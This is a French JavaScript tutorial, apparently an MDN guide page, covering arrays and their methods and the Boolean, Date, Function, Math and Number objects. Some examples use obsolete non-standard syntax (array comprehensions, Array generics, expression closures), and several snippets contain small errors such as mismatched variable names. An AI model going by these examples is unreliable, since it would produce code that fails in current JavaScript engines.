Un tableau est un ensemble ordonné de valeurs auxquelles on peut faire référence via un nom et un indice. Si par exemple on utilise un tableau reg qui contient un registre de noms indicés (autrement dit dont la position dans le tableau est déterminée) par un identifiant : on aurait reg[1] pour le premier nom, reg[2] pour le second et ainsi de suite/

- -

Créer un tableau :

- -

Les instructions suivantes permettent de créer des objets Array équivalents :

- -
-
var arr = new Array(element0, element1, ..., elementN);
-var arr = Array(element0, element1, ..., elementN);
-var arr = [element0, element1, ..., elementN];
-
-
- -

element0, element1, ..., elementN est la liste des valeurs des éléments du tableau. Quand ces valeurs sont fournies, les éléments du tableau sont initialisés avec ses valeurs. La propriété length vaudra alors le nombre d'arguments.

- -

La dernière syntaxe, utilisant des crochets, est appelée « littéral de tableau » ou « initialisateur de tableau ». C'est la forme la plus courte pour créer un tableau et c'est cette forme qui est souvent préférée. Voir la page Littéraux de tableaux pour plus de détails.

- -

Lorsqu'on souhaite créer un tableau de longueur non nulle mais qui ne contient aucun élément, les syntaxes suivantes peuvent être utilisées :

- -
var arr = new Array(longueurTabl);
-var arr = Array(longueurTabl);
-
-// Ces instructions ont le même effet
-var arr = [];
-arr.length = longueurTabl;
-
- -

Dans le code ci-dessus, longueurTabl doit être du type Number. Si ce n'est pas le cas, un tableau avec une seule valeur, celle fournie, longueurTabl, sera créé. Si on appelle arr.length, on aura bien longueurTabl, en revanche le tableau ne contiendra que des éléments vides (indéfinis). Si on utilise une boucle for...in sur le tableau, aucun des éléments du tableau ne sera renvoyé.

- -

En plus de définir une nouvelle variable en lui assignant un tableau, on peut également assigner les tableaux à une propriété d'un nouvel objet ou d'un objet existant :

- -
var obj = {};
-// ...
-obj.prop = [element0, element1, ..., elementN];
-
-// OU
-var obj = {prop: [element0, element1, ...., elementN]}
-
- -

Si on souhaite initialiser un tableau avec un seul élément qui est un nombre, on doit utiliser la syntaxe avec crochets. En effet, si on utilise le constructeur Array() auquel on passe un seul argument numérique, celui-ci sera interprété comme longueurTabl, et non pas comme le seul élément du tableau.

- -
var arr = [42];
-var arr = Array(42); // Crée un tableau sans élément mais de longueur 42
-
-// L'instruction ci-avant est équivalente à
-var arr = [];
-arr.length = 42;
-
-
- -

Si on appelle le constructeur Array() avec un argument qui n'est pas un nombre entier (dont la partie décimale est non nulle), on obtiendra une erreur RangeError. Voici un exemple :

- -
var arr = Array(9.3);  // RangeError: Invalid array length
-
- -

Si on souhaite créer des tableaux d'un seul élément (peu importe le type), il est plus adapté d'utiliser des littéraux de tableaux ou de créer un tableau vide puis d'y ajouter la valeur.

- -

Remplir un tableau

- -

Il est possible de remplir un tableau en affectant des valeurs à ses différents éléments :

- -
var reg = [];
-reg[0] = "Casey Jones";
-reg[1] = "Phil Lesh";
-reg[2] = "August West";
-
- -

Note : Si on utilise les crochets et un nombre décimal non entier, une propriété sera créée pour l'objet mais cela ne créera pas un élément du tableau.

- -
 var arr = [];
-arr[3.4] = "Oranges";
-console.log(arr.length);                // 0
-console.log(arr.hasOwnProperty(3.4));   // true
-
- -

On peut également remplir un tableau à la création :

- -
var monTableau = new Array("Hello", maVar, 3.14159);
-var monTableau = ["Mangue", "Pomme", "Orange"]
-
- -

Faire référence aux éléments d'un tableau

- -

Il est possible de faire référence aux élément d'un tableau en utilisant leur indice dans ce tableau. Ainsi, si on définit le tableau suivant :

- -
var monTableau = ["Vent", "Eau", "Feu"];
-
- -

On peut faire référence au premier élément du tableau en utilisant monTableau[0] et au second élément en utilisant monTableau[1]. Les indices des éléments d'un tableau commencent à zéro.

- -

Note : L'opérateur du tableau (les crochets) est aussi utilisé pour accéder aux propriétés du tableau (en effet les tableaux sont des objets en JavaScript, et on peut donc utiliser leurs propriétés). Par exemple :

- -
 var tabl = ["un", "deux", "trois"];
-tabl[2];  // trois
-tabl["length"];  // 3
-
- -

La propriété length

- -

En termes d'implémentation, les éléments d'un tableau sont en fait stockés comme des propriétés de l'objet et l'indice de l'élément est le nom de la propriété. La propriété length est spéciale : elle renvoie toujours l'indice du dernier élément plus 1. Attention : les indices d'un tableau, en JavaScript, commencent à 0 et pas à 1.

- -
var chats = [];
-chats[30] = ['Nyan'];
-print(chats.length); // 31
-
- -

Il est également possible d'affecter une valeur à la propriété length. Si on lui assigne une valeur inférieure au nombre d'éléments du tableau : le tableau sera tronqué. Si on lui affecte la valeur 0, le tableau sera entièrement vidé.

- -
var chats = ['Marie', 'Toulouse', 'Berlioz'];
-console.log(chats.length); // 3
-
-chats.length = 2;
-console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
-
-chats.length = 0;
-console.log(chats); // Rien n'est affiché : tableau vide
-
-chats.length = 3;
-console.log(cats); // [undefined, undefined, undefined]
-
- -

Effectuer des boucles sur des tableaux

- -

On sera souvent amené à faire des boucles sur les valeurs d'un tableau pour répéter un traitement sur chacune d'elle. La façon la plus simple de faire des boucles est la suivante :

- -
var couleurs = ['rouge', 'vert', 'bleu'];
-for (var i = 0; i < couleurs.length; i++) {
-  console.log(couleurs[i]);
-}
-
- -

Si on est certain qu'aucun des éléments du tableau ne pourra être évalué à false. Si par exemple le tableau est constitué d'éléments du DOM, on peut utiliser la syntaxe suivante, plus efficace :

- -
var divs = document.getElementsByTagName('div');
-for (var i = 0, div; div = divs[i]; i++) {
-  /* Effectuer un traitement sur les div */
-}
-
- -

En faisant cela, on évite de répéter le test qui consiste à vérifier la longueur du tableau et on s'assure que la variable div est réassignée à chaque passage dans la boucle.

- -

La méthode forEach(), introduite avec JavaScript 1.6, permet de boucler sur un tableau d'une autre façon :

- -
var couleurs = ['rouge', 'vert', 'bleu'];
-couleurs.forEach(function(couleur) {
-  console.log(couleur);
-});
-
- -

La fonction, passée en argument de la méthode forEach est exécutée pour chaque élément du tableau (qui sera passé en argument de cette fonction). Les éléments du tableau non assignés ne sont pas traités.

- -

Les éléments du tableau qui n'ont pas été définis lors de la création du tableau ne sont pas utilisés avec forEach, en revanche lorsque undefined a été explicitement assigné à un élément du tableau, il est pris en compte :

- -
var array = ['premier', 'second', , 'quatrième'];
-
-// la boucle ci-dessous renvoie ['premier', 'second', 'quatrième'];
-array.forEach(function(element) {
-  console.log(element);
-})
-
-if(array[2] === undefined) { console.log('array[2] vaut undefined'); } // true
-
-var array = ['premier', 'second', undefined, 'quatrième'];
-
-//la boucle ci-dessous renvoie ['premier', 'second', undefined, 'quatrième'];
-array.forEach(function(element) {
-  console.log(element);
-})
- -

Les éléments d'un tableau étant stockés comme des propriétés d'un tableau, il n'est pas conseillé d'utiliser de boucle for...in pour traiter les tableaux car on traitera les éléments du tableau ainsi que toutes les propriétés énumérables.

- -

Méthodes de l'objet Array

- -

L'objet Array possède les méthodes suivantes :

- -
    -
  • concat() : fusionne deux tableaux et renvoie le résultat de cette fusion - - 
    var monTableau = new Array("1", "2", "3");
-monTableau = monTableau.concat("a", "b", "c"); // monTableau vaut maintenant ["1", "2", "3", "a", "b", "c"]
-
    -
    • -
  • join(délimiteur = ",") fusionne les éléments d'un tableau en une seule chaîne, en utilisant un délimiteur : - 
    var monTableau = new Array("Air", "Eau", "Feu");
-var liste = monTableauArray.join(" - "); // "Air - Eau - Feu"
-
    -
    • -
  • push() ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la longueur du tableau après cet ajout : - 
    var monTableau = new Array("1", "2");
-monTableau.push("3"); // monTableau vaut maintenant ["1", "2", "3"]
-
    -
    • -
  • pop() retire le dernier élément d'un tableau et renvoie cet élément : - 
    var monTableau = new Array("1", "2", "3");
-var dernier = monTableau.pop(); // monTableau vaut ["1", "2"] et dernier = "3"
-
    -
    • -
  • shift() retire le premier élément du tableau et renvoie cet élément : - 
    var monTableau = new Array ("1", "2", "3");
-var premier = monTableau.shift(); // monTableau vaut ["2", "3"], premier vaut "1"
-
    -
    • -
  • unshift() ajoute un ou plusieurs éléments en premier(s) élément(s) dans un tableau et renvoie la nouvelle longueur : - 
    var monTableau = new Array ("1", "2", "3");
-monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]
    -
    • -
  • slice(indice_debut, jusqu_indice) extrait une portion d'un tableau et renvoie un nouveau tableau : - 
    var monTableau = new Array ("a", "b", "c", "d", "e");
-monTableau = monTableau.slice(1, 4); /* commencer à 1 et jusqu'à l'indice 3, renvoyant
- ainsi [ "b", "c", "d"] */
-
    -
    • -
  • splice(indice, nombre_a_enlever, ajout_element1, ajout_element2, ...) retire des éléments d'un tableau et les remplace si des valeurs sont fournies : - 
    var monTableau = new Array ("1", "2", "3", "4", "5");
-monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut ["1", "a", "b", "c", "d", "5"]
-  // ce code commence à l'indice 1 (où il y a la valeur "2"), retire 3 éléments
-  // puis insère les éléments fournis à partir de cet indice
-
    -
    • -
  • reverse() transpose les éléments d'un tableau : le premier élément du tableau et le dernier devient le premier : - 
    var monTableau = new Array ("1", "2", "3");
-monTableau.reverse(); // transpose le tableau qui devient [ "3", "2", "1" ]
-
    -
    • -
  • sort() trie les éléments d'un tableau : - 
    var monTableau = new Array("Air", "Eau", "Feu");
-monTableau.sort(); // trie le tableau qui devient [ "Air", "Eau", "Feu" ]
-
    - -

    sort() peut également prendre en argument une fonction de rappel (callback en anglais) qui détermine la relation d'ordre selon laquelle les éléments sont comparés. Cette fonction compare deux valeurs et renvoie l'une de ces trois valeurs :

    - -
      -
    • Si a est inférieur à b selon la relation d'ordre : -1 (ou tout autre nombre négatif)
      • -
    • Si a est supérieur à b selon la relation d'ordre : 1 (ou tout autre nombre positif)
      • -
    • Si a et b sont égaux selon la relation d'ordre : 0.
      • -
    - -

    Par exemple, on peut utiliser la fonction ci-après pour trier selon la dernière lettre d'un tableau :

    - - 
    var triFn = function(a, b){
-  if (a[a.length - 1] < b[b.length - 1]) return -1;
-  if (a[a.length - 1] > b[b.length - 1]) return 1;
-  if (a[a.length - 1] == b[b.length - 1]) return 0;
-}
-monTableau.sort(triFn); // tri le tableau qui deviendra
-//monTableau = ["Air","Eau","Feu"]
    -
    • -
- -

Du code compatible avec les anciens navigateurs, pour remplacer ces fonctions, est disponible sur les pages qui concernent ces fonctions. Le support des navigateurs pour ces fonctions est détaillé ici (en anglais).

- -
    -
  • indexOf(élémentCherché[, indiceDebut]) permet de chercher dans le tableau l'élément élémentCherché et renvoie le premier indice où l'élément est trouvé. - - 
    var a = ['a', 'b', 'a', 'b', 'a'];
-alert(a.indexOf('b')); // Affiche 1
-// Ensuite, on cherche après la première correspondance
-alert(a.indexOf('b', 2)); // Affiche 3
-alert(a.indexOf('z')); // Affiche -1 car 'z' n'a pas été trouvé
-
    -
    • -
  • lastIndexOf(élémentCherché[, indiceDebut]) fonctionne comme indexOf, mais cherche à partir de la fin du tableau. - 
    var a = ['a', 'b', 'c', 'd', 'a', 'b'];
-alert(a.lastIndexOf('b')); // Affiche 5
-// Ensuite on cherche avant la dernière correspondance
-alert(a.lastIndexOf('b', 4)); // Affiche 1
-alert(a.lastIndexOf('z')); // Affiche -1
-
    -
    • -
  • forEach(callback[, thisObject])exécute la fonction callback sur chaque élément du tableau. - 
    var a = ['a', 'b', 'c'];
-a.forEach(alert); // Affiche chaque élément
-
    -
    • -
  • map(callback[, thisObject]) renvoie un nouveau tableau composé des résultats de l'application de la fonction callback sur chaque élément du tableau initial - 
    var a1 = ['a', 'b', 'c'];
-var a2 = a1.map(function(item) { return item.toUpperCase(); });
-alert(a2); // affiche A,B,C
-
    -
    • -
  • filter(callback[, thisObject]) renvoie un nouveau tableau composé des éléments du tableau initial pour lesquels la fonction callback a renvoyé true. - 
    var a1 = ['a', 10, 'b', 20, 'c', 30];
-var a2 = a1.filter(function(item) { return typeof item == 'number'; });
-alert(a2); // affiche 10,20,30
-
    -
    • -
  • every(callback[, thisObject]) renvoie true si la fonction callback renvoie true pour chaque élément du tableau - 
    function isNumber(value){
-  return typeof value == 'number';
-}
-var a1 = [1, 2, 3];
-alert(a1.every(isNumber)); // Affiche true
-var a2 = [1, '2', 3];
-alert(a2.every(isNumber)); // Affiche false
-
    -
    • -
  • some(callback[, thisObject]) renvoie true si la fonction callback renvoie true pour au moins un élément du tableau - 
    function isNumber(value){
-  return typeof value == 'number';
-}
-var a1 = [1, 2, 3];
-alert(a1.some(isNumber)); // Affiche true
-var a2 = [1, '2', 3];
-alert(a2.some(isNumber)); // Affiche true
-var a3 = ['1', '2', '3'];
-alert(a3.some(isNumber)); // Affiche false
-
    -
    • -
- -

Les méthodes ci-dessus utilisent des fonctions de rappel (callback) et sont appelées méthodes itératives. En effet, d'une certaine façon, elles bouclent sur le tableau. Chacune de ces méthodes possède un argument facultatif thisObject. Si cet argument est utilisé, il représentera le contexte utilisé pour le mot-clé this utilisé dans la fonction de rappel. S'il n'est pas utilisé et que la fonction est appelée en dehors d'un contexte objet donné this fera référence à l'objet global (window). Pour plus d'informations, voir la page sur this.

- -

En réalité, la fonction de rappel est utilisé avec trois arguments. Le premier est la valeur de l'élément, le deuxième est l'indice de l'élément et le troisième est la référence au tableau. Étant donné que JavaScript ignore les arguments en trop pour une fonction, on peut très bien appeler une fonction qui ne prend qu'un seul paramètre (comme alert par exemple).

- -
    -
  • reduce(callback[, initialValue]) applique la fonction callback(valeur1, valeur2) afin de réduire le tableau à une seule valeur. - - 
    var a = [10, 20, 30];
-var total = a.reduce(function(premier, second) { return first + second; }, 0);
-alert(total) // Affiche 60
-
    -
    • -
  • reduceRight(callback[, initialValue]) fonctionne comme reduce() mais en partant du dernier élément.
    • -
- -

reduce et reduceRight sont des méthodes itératives plus compliquées. Ces méthodes sont à utiliser pour des algorithmes récursifs pour réduire une séquence d'objet en une seule valeur.

- -

Tableaux à plusieurs dimensions

- -

Les tableaux peuvent être imbriqués, cela signifie qu'un tableau peut contenir un autre tableau comme élément. De cette façon, on peut créer des tableaux à plusieurs dimensions.

- -

Voici par exemple la création d'un tableau de dimension 2.

- -
var a = new Array(4);
-for (i = 0; i < 4; i++) {
-  a[i] = new Array(4);
-  for (j = 0; j < 4; j++) {
-    a[i][j] = "[" + i + "," + j + "]";
-  }
-}
-
- -

Le code précédent permettra de créer un tableau avec ces lignes :

- -
Ligne 0: [0,0] [0,1] [0,2] [0,3]
-Ligne 1: [1,0] [1,1] [1,2] [1,3]
-Ligne 2: [2,0] [2,1] [2,2] [2,3]
-Ligne 3: [3,0] [3,1] [3,2] [3,3]
-
- -

Tableaux et expressions rationnelles

- -

Lorsqu'un tableau provient d'une correspondance entre une expression rationnelle et une chaîne de caractères, le tableau possède des propriétés et des éléments fournissant des informations sur la correspondance. Un tel tableau peut être renvoyé par RegExp.exec(), String.match(), et String.split(). Pour plus d'informations sur l'utilisation des tableaux et des expressions rationnelles, voir la page Expressions rationnelles.

- -

Manipuler des objets semblables aux tableaux

- -

Certains objets JavaScript, comme NodeList (renvoyé par la méthode document.getElementsByTagName()) ou arguments (disponible au sein d'une fonction) ressemblent à des tableaux et peuvent se comporter comme tels, en revanche ils ne possèdent pas toutes les propriétés d'un objet de type Array. Par exemple, l'objet arguments possède un attribut length mais ne possède pas la méthode forEach().

- -

Les méthodes génériques, disponibles à partir de JavaScript 1.6, permettent d'utiliser des méthodes de l'objet Array sur des objets semblables à des tableaux. Chaque méthode standard possède un équivalent disponible via l'objet Array lui-même. Ainsi :

- -
 function alertArguments() {
-   Array.forEach(arguments, function(item) {
-     alert(item);
-   });
- }
-
- -

Dans les versions plus anciennes, il est possible d'émuler ces méthodes génériques en utilisant la méthode call fournie par les fonctions :

- -
 Array.prototype.forEach.call(arguments, function(item) {
-   alert(item);
- });
-
- -

Ces méthodes génériques peuvent également être utilisées sur les chaînes de caractères. En effet, elles fournissent un accès séquentiel aux différents caractères, comme pour les différents éléments d'un tableau :

- -
Array.forEach("une chaine", function(caractere) {
-   alert(caractere);
-});
- -

Voici d'autres exemples utilisant ces méthodes sur des chaînes de caractères. Ces exemples utilisent également les fermetures d'expressions de JavaScript 1.8 :

- -
var str = 'abcdef';
-var filtreConsonnes = Array.filter(str, function (c) !(/[aeiou]/i).test(c)).join(''); // 'bcdf'
-var voyellesPrésentes = Array.some(str, function (c) (/[aeiou]/i).test(c)); // true
-var toutesVoyelles = Array.every(str, function (c) (/[aeiou]/i).test(c)); // false
-var intercaleZéros = Array.map(str, function (c) c+'0').join(''); // 'a0b0c0d0e0f0'
-var valeurNumérique = Array.reduce(str, function (c, c2) c+c2.toLowerCase().charCodeAt()-96, 0);
-// 21 (reduce() since JS v1.8)
-
- -

Les méthodes filter et map ne renvoient pas directement les caractères comme faisant partie d'une même chaîne de caractères mais le résultat de l'opération sur chacun des caractères, il est donc nécessaire d'utiliser join pour obtenir une chaîne de caractères finale.

- -

Tableaux définis par compréhensions

- -

À partir de JavaScript 1.7, les définitions de tableaux par compréhension permettent de construire, simplement, un tableau se basant sur le contenu d'un premier tableau. Ces compréhensions sont souvent utilisées en lieu et place des méthodes map() et filter().

- -

Dans l'exemple suivant, on définit un tableau par compréhension pour qu'il contienne les doubles des éléments du premier tableau :

- -
var nombres = [1, 2, 3, 4];
-var doubles = [i * 2 for (i of nombres)];
-alert(doubles); // Affiche 2,4,6,8
-
- -

Cela est équivalent à l'opération map() qui suit :

- -
var doubles = nombres.map(function(i){return i * 2;});
-
- -

Les compréhensions peuvent également être utilisées afin de restreindre un tableau à certaines valeurs correspondants à un critère. On peut par exemple ne garder que les nombres pairs :

- -
var nombres = [1, 2, 3, 21, 22, 30];
-var pairs = [i for (i of nombres) if (i % 2 === 0)];
-alert(pairs); // Affiche 2,22,30
-
- -

filter() aurait également pu être utilisé :

- -
var pairs = nombres.filter(function(i){return i % 2 === 0;});
-
- -

Les opérations du style de map() et filter() peuvent être combinées en une seule compréhension. Voici par exmple un tableau défini par compréhension qui contient les doubles des nombres pairs du premier tableau :

- -
var nombres = [1, 2, 3, 21, 22, 30];
-var pairsDoubles = [i * 2 for (i of nombres) if (i % 2 === 0)];
-alert(pairsDoubles); // Affiche 4,44,60
-
- -

Les crochets utilisés pour les définitions par compréhension permettent d'introduire une portée implicite. Les nouvelles variables (comme i dans l'exemple) sont utilisées comme si elles avaient été déclarées avec let. Elles ne seront donc pas disponibles en dehors de la compréhension.

- -

Il n'est pas nécessaire de partir d'un tableau pour utiliser une telle définition, on peut également utiliser les itérateurs et les générateurs.

- -

On peut également utiliser des chaînes de caractères comme objet de départ :

- -
var str = 'abcdef';
-var filtreConsonnes = [c for (c of str) if (!(/[aeiouAEIOU]/).test(c))  ].join(''); // 'bcdf'
-var intercaleZéros = [c+'0' for (c of str) ].join(''); // 'a0b0c0d0e0f0'
-
- -

Ici aussi, il faut utiliser la méthode join() pour obtenir une chaîne de caractère unique en sortie.

- -

L'objet Boolean

- -

L'objet Boolean est une « enveloppe » (ou wrapper en anglais) autour du type primitif booléen. La syntaxe suivante permet de créer un objet Boolean :

- -
var nomObjetBooléen = new Boolean(valeur);
-
- -

Attention, il ne faut pas confondre les valeurs true et false du type primitif booléen et les valeurs true et false de l'objet Boolean. Tout objet dont la valeur n'est pas undefined , null, 0, NaN, ou la chaîne de caractères vide (y compris un objet Boolean dont la valeur est false) sera évalué comme true dans un test conditionnel. Voir l'instruction if...else pour plus d'informations.

- -

Objet Date

- -

JavaScript ne possède pas de type de données pour gérer les dates. En revanche, il est possible d'utiliser un objet Date, ainsi que ses méthodes, pour manipuler de telles données. L'objet Date possède différentes méthodes pour définir des dates, obtenir des informations sur une dates et les manipuler, il ne possède aucune propriété.

- -

La gestion des dates en JavaScript est similaire à celle effectuée par Java. Les deux languages partagent de nombreuses méthodes et ils stockent tous les deux les dates comme le nombre de millisecondes depuis le premier janvier 1970 à 00h00m00 UTC.

- -

L'intervalle qu'on peut utiliser avec l'objet Date est entre100 000 000 jours avant le premier janvier 1970 UTC et 100 000 000 jours après.

- -

Pour créer un tel objet :

- -
var nomObjetDate = new Date([paramètres]);
-
- -

nomObjetDate est le nom de l'objet qu'on crée. Il peut être un nouvel objet à part entière ou bien la propriété d'un objet existant.

- -

Si on utilise le constructeur Date sans le mot-clé new, on obtiendra seulement la date représentée dans une chaîne de caractères.

- -

On peut utiliser les paramètres suivants :

- -
    -
  • Aucun : on crée la date et l'heure du jour : aujourdhui = new Date();.
    • -
  • Une chaîne de caractères qui représente la date au format suivant "Mois_en_anglais jour, année heures:minutes:secondes." Ainsi var Noel95 = new Date("December 25, 1995 13:30:00"). Il est possible de ne pas renseigner les heures, minutes et secondes : les valeurs par défaut seront nulles (0).
    • -
  • Un ensemble d'entiers pour l'année, le mois et le jour : var Noel95 = new Date(1995, 11, 25).
    • -
  • Un ensemble d'entiers pour l'année, le mois, le jour, l'heure, les minutes et les secondes : var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);.
    • -
- -

Versions antérieures à JavaScript 1.2 (inclus)
- L'objet Date fonctionne de la façon suivante :

- -
    -
  • Les dates antérieures à 1970 ne sont pas autorisées.
    • -
  • JavaScript se repose sur des utilitaires de gestion des dates qui dépendent de la plate-forme utilisée : on obtient donc des comportements et des résultats différents en fonction de la plate-forme sur laquelle on se situe.
    • -
- -

Les méthodes de l'objet Date

- -

Les méthodes de l'objet Date sont à répartir entre quatre grandes catégories :

- -
    -
  • Les méthodes de définition set..., permettant de régler le jour et l'heure dans les objets Date
    • -
  • Les méthodes d'accès get..., permettant d'obtenir les valeurs de la date et de l'heure des objets Date
    • -
  • Les méthodes de conversion to..., qui permettent d'obtenir une mise en forme en chaîne de caractères
    • -
  • Les méthodes d'analyse (parsing) et les méthodes UTC, permettant de transformer certaines chaînes de caractères en Date.
    • -
- -

Les deux premières catégories permettent de définir ou d'obtenir les secondes, les minutes, les heures, le jour du mois, le jour de la semaine, les mois et les années. Il existe une méthode getDay pour obtenir le jour de la semaine, en revanche, il n'existe pas de méthode setDay car le calcul du jour de la semaine se fait automatiquement. Ces méthodes utilisent des entiers, de la façon suivante :

- -
    -
  • Les secondes et minutes : 0 à 59
    • -
  • Les heures : 0 à 23
    • -
  • Les jours : 0 (Dimanche) à 6 (Samedi)
    • -
  • La date : 1 to 31 (jour du mois)
    • -
  • Les mois : 0 (janvier) à 11 (décembre)
    • -
  • Les années : années depuis 1900
    • -
- -

Par exemple, si on veut définir la date suivante :

- -
var Noel95 = new Date("December 25, 1995");
-
- -

On aura alors Noel95.getMonth() qui renverra 11, Noel95.getFullYear() qui renverra 1995.

- -

Les méthodes getTime et setTime peuvent notamment être utilisées pour comparer des dates. La méthode getTime renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 00h00m00s pour un objet Date.

- -

De cette façon, le code suivant permet d'afficher le nombre de jours restants pour l'année courante :

- -
var ajd = new Date();
-var finAnnee = new Date(1995, 11, 31, 23, 59, 59, 999); // On règle jour et mois
-finAnnee.setFullYear(ajd.getFullYear()); // On règle l'année
-var msParJour = 24 * 60 * 60 * 1000; // Nombre de millisecondes par jour
-var joursRestants = (finAnnee.getTime() - ajd.getTime()) / msParJour;
-var joursRestants = Math.round(joursRestants); //renvoie le nombre de jours restants
-
- -

Dans cet exemple, on crée un objet Date qui contient la date du jour. Ensuite on crée un objet finAnnee et on fixe son année à celle du jour courant. Ensuite, en connaissant le nombre de millisecondes dans une journée, on calcule le nombre de jours entre ajd et finAnnee en utilisant la méthode getTime puis en arrondissant la valeur à un nombre entier.

- -

La méthode parse peut s'avérer utile lorsqu'on souhaite transformer une chaîne de caractères (en anglais, attention) en une date. L'exemple qui suit utilise les méthodes parse et setTime pour assigner une valeur de date à l'objet dateIPO :

- -
var dateIPO = new Date();
-dateIPO.setTime(Date.parse("Aug 9, 1995"));
-
- -

Exemple d'utilisation

- -

L'exemple qui suit permet de définir la fonction JSClock() qui renvoie l'heure au même format qu'une horloge numérique :

- -
function JSClock() {
-  var time = new Date();
-  var heure = time.getHours();
-  var minute = time.getMinutes();
-  var seconde = time.getSeconds();
-  var temp = "" + heure;
-  temp += ((minute < 10) ? ":0" : ":") + minute;
-  temp += ((seconde < 10) ? ":0" : ":") + seconde;
-  return temp;
-}
-
- -

La fonctionThe JSClock commence par créer un objet Date appelé time. Aucun argument n'est donné, c'est donc la date et l'heure courante. Ensuite, on appelle les méthodes getHours, getMinutes, et getSeconds pour connaître l'heure, les minutes et les secondes.

- -

Les trois instructions suivantes permettent de construire une chaîne de caractères avec la variable temp. On ajoute l'heure, puis les minutes (si celles-ci sont inférieures à 10, on rajoute un 0 devant), puis les secondes (de la même manière on rajoute un zéro devant si le nombre de secondes est inférieur à 10).

- -

L'objet Function

- -

L'objet élémentaire Function définit une chaîne de caractères de code JavaScript qui doit être compilé comme une fonction.

- -

Pour créer un objet Function on peut utiliser la syntaxe suivante :

- -
var functionNomObjet = new Function ([arg1, arg2, ... argn], corpsFonction);
-
- -

functionNomObjet est le nom d'une variable ou d'une propriété d'un objet. On peut également utiliser cette syntaxe avec un objet suivi par un nom de gestionnaire d'événements en minuscules comme window.onerror.

- -

arg1, arg2, ... argn sont les arguments qui sont utilisés par la fonction. Chacun de ces arguments doit être une chaîne de caractères qui est un identifiant JavaScript valide (ex : "x" ou "monFormulaire".

- -

corpsFonction est une chaîne de caractères définissant le code JavaScript qui doit être compilé comme le code de la fonction.

- -

Les objets Function sont évalués à chaque fois qu'ils sont utilisés. Utiliser ces objets est moins efficaces que la déclaration de fonctions qu'on appellera au sein du code. Cela est dû au fait que les fonctions déclarées sont compilées.

- -

En plus de la définition de fonction abordée ici, on peut également les expressions de fonction ou l'instruction function. Voir la référence JavaScript pour plus d'informations sur ces différentes syntaxes.

- -

Le code suivant assigne une fonction à la variable setBGColor. Cette fonction permet de définir la couleur d'arrière-plan du document courant.

- -
var setBGColor = new Function("document.bgColor = 'antiquewhite'");
-
- -

Pour appeler l'objet Function, on peut utiliser le nom de la variable comme une fonction. Le code qui suit exécute la fonction qui aura été assignée à la variable setBGColor :

- -
var choixCouleur="antiquewhite";
-if (choixCouleur=="antiquewhite") {setBGColor()}
-
- -

On peut assigner la fonction à un gestionnaire d'événements de différentes façons :

- -
    -
  1. - 
    document.form1.colorButton.onclick = setBGColor;
-
    -
    2. -
  2. - 
    <INPUT NAME="colorButton" TYPE="button"
-  VALUE="Changer la couleur de l'arrière-plan"
-  onClick="setBGColor()">
-
    -
    3. -
- -

La création de la variable setBGColor montrée avant est similaire à la fonction suivante :

- -
function setBGColor() {
-  document.bgColor = 'antiquewhite';
-}
-
- -

Assigner une fonction à une variable est similaire à la déclaration d'une fonction, cependant il y a quelques différences :

- -
    -
  • Lorsqu'on assigne une fonction à une variable en utilisant la syntaxe  var setBGColor = new Function("..."), setBGColor est une variable dont la valeur courante est une référence à la fonction créée avec new Function().
    • -
  • Quand on crée une fonction en utilisant la syntaxe function setBGColor() {...}, setBGColor n'est pas une variable, c'est le nom de la fonction.
    • -
- -

Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée est privée, en termes de portée, pour la fonction englobante.

- -
    -
  • La fonction imbriquée peut être utilisée à partir d'instructions seulement depuis la fonction englobante.
    • -
  • La fonction imbriquée peut utiliser des arguments et des variables de la fonction englobante. La fonction englobante ne peut pas utiliser les arguments et les variables de la fonction imbriquée.
    • -
- -

L'objet Math

- -

L'objet élémentaire Math possède différentes propriétés et méthodes pour manipuler des constantes et des fonctions mathématiques. Ainsi, la propriété PI de cette objet possède la valeur de pi (3.141...) :

- -
Math.PI
-
- -

De la même façon, cet objet met a disposition des fonctions mathématiques qui sont des méthodes de l'objet Math. On retrouvera des fonctions trigonométriques, logarithmiques, exponentielles... Ainsi pour utiliser la fonction sinus, on écriera :

- -
Math.sin(1.56)
-
- -

Note : les arguments des méthodes trigonométriques de cet objet doivent être exprimés en radians.

- -

Le tableau suivant liste les différentes méthodes de l'objet Math.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tableau 7.1 Méthodes de l'objet Math
MéthodeDescription
absValeur absolue
sin, cos, tanFonctions trigonométriques sinus, cosinus et tangente
acos, asin, atan, atan2Fonctions trigonométriques inverses, les valeurs renvoyées sont exprimées en radians
exp, logLes fonctions exponentielle et logarithme (naturel ou à base e)
ceilRenvoie le plus petit entier supérieur ou égal à l'argument
floorRenvoie le plus grand entier inférieur ou égal à l'argument
min, maxRenvoie le minimum ou le maximum (respectivement) des deux arguments
powLa fonction puissance, le premier argument est la base et le second argument est l'exposant
randomRenvoie un nombre aléatoire compris entre 0 et 1
roundArrondit l'argument au plus proche entier
sqrtLa fonction racine carrée
- -

Contrairement à beaucoup d'autres objets, on ne crée jamais d'objet Math personnalisé : on utilise toujours l'objet élémentaire Math.

- -

L'objet Number

- -

L'objet Number possède des propriétés correspondantes aux constantes numériques. On y trouve : la valeur maximale qu'il est possible de représenter, la valeur minimale, les infinis (négatifs et positifs), et également la constante « not a number » ou NaN qui indique que la valeur n'est pas un nombre. Ces valeurs sont fixes, ne peuvent être changées et s'utilisent de la façon suivante :

- -
var maximum = Number.MAX_VALUE;
-var minimum = Number.MIN_VALUE;
-var infiniPlus = Number.POSITIVE_INFINITY;
-var infiniMoins = Number.NEGATIVE_INFINITY;
-var nonNombre = Number.NaN;
-
- -

Il faut toujours utiliser les propriétés de l'objet Number lui-même et non pas celles d'un objet Number qui aurait été créé.

- -

Le tableau suivant liste les différents propriétés de l'objet Number :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tableau 7.2 Propriétés de l'objet Number
PropriétéDescription
MAX_VALUELe plus grand nombre qu'on peut représenter
MIN_VALUELe plus petit nombre qu'on peut représenter
NaNValeur spéciale pour les valeurs non numériques
NEGATIVE_INFINITYValeur spéciale pour représenter l'infini négatif
POSITIVE_INFINITYValeur spéciale pour représenter l'infini positif
- -

